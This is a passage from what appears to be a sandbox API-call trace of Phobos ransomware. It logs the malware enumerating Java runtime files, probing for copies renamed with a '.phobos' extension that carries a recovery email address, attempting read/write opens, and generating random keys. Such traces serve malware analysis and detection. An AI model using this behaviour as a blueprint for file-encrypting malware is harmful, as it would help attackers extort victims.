"c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0150.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.300] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.301] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21056) returned 1 [0150.301] CloseHandle (hObject=0x580) returned 1 [0150.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0150.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.301] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.302] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=34368) returned 1 [0150.302] CloseHandle (hObject=0x580) returned 1 [0150.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0150.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.302] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.303] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=15936) returned 1 [0150.303] CloseHandle (hObject=0x580) returned 1 [0150.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0150.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.303] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.304] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=159808) returned 1 [0150.304] CloseHandle (hObject=0x580) returned 1 [0150.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0150.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.304] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.304] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=206912) returned 1 [0150.304] CloseHandle (hObject=0x580) returned 1 [0150.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0150.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.305] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.306] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=142400) returned 1 [0150.306] CloseHandle (hObject=0x580) returned 1 [0150.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0150.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.314] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.314] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=187392) returned 1 [0150.315] CloseHandle (hObject=0x580) returned 1 [0150.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0150.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.315] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.315] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=80448) returned 1 [0150.315] CloseHandle (hObject=0x580) returned 1 [0150.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0150.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.316] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.332] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=69184) returned 1 [0150.332] CloseHandle (hObject=0x580) returned 1 [0150.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0150.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.346] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.546] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=319552) returned 1 [0150.547] CloseHandle (hObject=0x564) returned 1 [0150.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0150.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.553] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.554] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20032) returned 1 [0150.554] CloseHandle (hObject=0x564) returned 1 [0150.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0150.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.555] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.555] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=235584) returned 1 [0150.555] CloseHandle (hObject=0x564) returned 1 [0150.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0150.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.556] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.557] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=185920) returned 1 [0150.557] CloseHandle (hObject=0x564) returned 1 [0150.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0150.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.557] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.558] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18496) returned 1 [0150.558] CloseHandle (hObject=0x564) returned 1 [0150.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0150.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.558] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.560] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=35392) returned 1 [0150.560] CloseHandle (hObject=0x564) returned 1 [0150.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0150.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.560] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.560] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=31296) returned 1 [0150.561] CloseHandle (hObject=0x564) returned 1 [0150.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0150.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.561] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.561] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=220736) returned 1 [0150.561] CloseHandle (hObject=0x564) returned 1 [0150.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0150.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 